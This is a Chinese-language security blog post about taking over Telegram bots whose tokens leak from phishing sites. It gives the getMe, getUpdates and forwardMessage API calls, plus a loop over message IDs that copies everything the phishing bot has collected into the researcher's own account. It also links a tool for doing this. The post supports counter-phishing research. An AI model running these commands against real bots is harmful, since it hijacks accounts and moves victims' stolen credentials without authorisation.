最近挺多钓鱼和c2通过telegram中转消息,又出现了很多获取token的手段,不过这部分发不出来。所以我参考Sunthara总结下获取到后bot token的一些利用方式。
获取方式以最简单的钓鱼站点配置不当获取为例,比如最近一位网络安全研究人员的一篇文章,揭露一个冒充“Adobe Document Cloud”的网络钓鱼网站,由于钓鱼网站使用 Telegram bot token凭据来转发钓鱼内容,Telegram bot token在流量里明文可以看到,如下:
token格式:https://api.telegram.org/bot_token/
可以使用getme方法来确认机器人是否处于活动状态,并收集一些基础信息,例如机器人的用户名。
https://api.telegram.org/{bot_token}/getMe
因为tg机器人做数据库或中转消息的比较多,所以以获取并转发所有消息记录为目的,将来自攻击者机器人的消息转发到我们指定的 Telegram 账户中
在 Telegram Bot API 中,有一个名为“forwardmessages”的方法,用于转发任何类型的消息,使用方式如下:
curl -Uri “https://api.telegram.org/bot{attacker_bot_token}/forwardMessage” -Method POST -ContentType “application/json” -Body ‘{“from_chat_id”:”{attacker_chat_id}”, “chat_id”:”{my_chat_id}”, “message_id”:”{message_id}”}
总结这个方法需要bot token,attacker_chat_id,my_chat_id,message_id},翻译下就是 Telegram Bot Token(我们已经找到了),攻击者聊天 ID,我们指定的聊天 ID和消息 ID。
攻击者聊天 ID
当我们填写网络钓鱼表单并单击提交时,凭据将通过机器人发送到攻击者的聊天中。聊天具有唯一的“聊天 ID”,可以通过分析有效负载在网络日志中找到该 ID。
我们指定的聊天 ID 和消息 ID
我们可以使用getUpdates方法检索我们自己的聊天 ID 和消息 ID,每次机器人收到新消息时,消息 ID 都会递增:https://api.telegram.org/bot_token_here/getUpdates
然后就可以成功劫持一个 Telegram 机器人并将一条消息转发到我们的 Telegram 账户。
如果我们需要查看已发送的所有消息,只需要稍微修改 URL 以遍历消息 ID 直到我们找到的最高消息 ID。
https://api.telegram.org/bot{attacker_Bot_Token}/forwardMessage” -Method POST -ContentType “application/json” -Body (‘{“from_chat_id”:”{attacker_chat_id}”, “chat_id”:”{my_chat_id}”, “message_id”:’ + $_ + ‘}’) }
github上也有方便使用的开源工具:https://github.com/0x6rss/matkap
原文始发于微信公众号(军机故阁):Telegram bot token利用
评论